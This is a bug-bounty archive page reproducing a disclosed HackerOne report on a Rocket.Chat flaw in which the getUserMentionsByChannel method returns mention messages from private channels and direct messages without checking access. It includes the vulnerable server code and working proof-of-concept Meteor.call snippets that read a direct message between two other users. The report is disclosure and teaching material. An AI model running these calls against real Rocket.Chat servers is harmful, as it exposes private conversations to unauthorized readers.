Skip to content
Info disclosure Disclosed report Beginner CVE-2022-35249CVE-2022-32220

getUserMentionsByChannel leaks messages with mention from private channel

The getUserMentionsByChannel server method did not verify the user's access to the specified room, allowing an authenticated user to retrieve messages from private channels and direct messages where they were mentioned. An attacker could read messages from rooms they should not have access to.

gronke Follow

Originally disclosed on HackerOne

  • Triaged in 43 days
  • Fixed in 7 months
  • Disclosed after 10 months

Summary by the program

Summary

The getUserMentionsByChannel meteor server method discloses messages from private channels and direct messages regardless of the users access permission to the room.

Description

When calling the getUserMentionsByChannel method, the server does not check the users access to the given room and returns all messages the user has been mentioned in.

JavaScript
Meteor.call(
  "getUserMentionsByChannel",
  { roomId: "<TARGET_ROOM>" },
  console.log
);

The issue was found in app/mentions/server/methods/getUserMentionsByChannel.js#L7-L23 where roomId is verified to be a String only.

JavaScript
Meteor.methods({
	getUserMentionsByChannel({ roomId, options }) {
		check(roomId, String);

		if (!Meteor.userId()) {
			throw new Meteor.Error('error-invalid-user', 'Invalid user', { method: 'getUserMentionsByChannel' });
		}

		const room = Rooms.findOneById(roomId);

		if (!room) {
			throw new Meteor.Error('error-invalid-room', 'Invalid room', { method: 'getUserMentionsByChannel' });
		}

		const user = Users.findOneById(Meteor.userId());

		return Messages.findVisibleByMentionAndRoomId(user.username, roomId, options).fetch();
	},
});

The server will return all messages the requesting user has been @ mentioned in.

Releases Affected:

Steps To Reproduce (from initial installation to vulnerability):

  1. Login to Rocket.Chat
  2. Obtain Room Id
    1. Guess Direct Message roomId from User IDs
    2. Leak private Message ID with unknown vulnerability
  3. Call getUserMentionsByChannel with given { roomId: "<Value>" }
  4. Read messages where the own user was mentioned in console.log output

Supporting Material/References:

The following example leks a private message between two users to a third account trudy who performs the requests from the authenticated client disclosing a direct message between alice and bob.

JavaScript
Meteor.user().username
// > 'trudy'
let alice = 'kYfzDMQLyPFjS9ASb';
let bob = 'zZnrfd2RvcWhspr6S';
Meteor.call(
  "getUserMentionsByChannel",
  { roomId: `${alice}${bob} }, // direct message channel
  (err, data) => console.log(
  	data
  	  .map((m) => `${m._id} ${m.u.username} (${m.ts.toGMTString()}): ${m.msg}`)
  	  .join("\n")
  )
);
// > Yp6NoMZk34mnQZiBR alice (Thu, 25 Nov 2021 14:17:25 UTC): Mention @trudy somewhere

Meteor.call("getMessages", ["Yp6NoMZk34mnQZiBR"], (err, data) => console.log(err.message))
// > Not allowed [error-not-allowed]

Suggested mitigation

  • Check for permission to read messages from the room given in in { roomId } method argument.

Impact

Authenticated users can disclose all messages they were mentioned in from private channels and direct messages they should not have access to.

Fixed in

We have fix this issue in version 5.0>

The original report as published on HackerOne, by gronke. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The method only checked that the roomId was a string and that the room existed, but did not verify the user's permission to access that room.

Impact

Authenticated users could disclose all messages they were mentioned in from private channels and direct messages they should not have access to.

What the attacker needed

Authenticated user account; knowledge of target room ID

The fix

The issue was fixed in version 5.0; the text does not describe the fix.

How it was found

  1. Log in to Rocket.Chat.
  2. Obtain the room ID of a private channel or direct message.
  3. Call the getUserMentionsByChannel method with that room ID.
  4. Read the returned messages where the user was mentioned.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A server function that lists messages where you are mentioned did not check if you are allowed to view the room those messages are in. So anyone logged in could ask for mentions from a private chat they were never part of and see messages they should not see.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by gronke

View all

27 more disclosed reports, best first.

More from Rocket.Chat

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.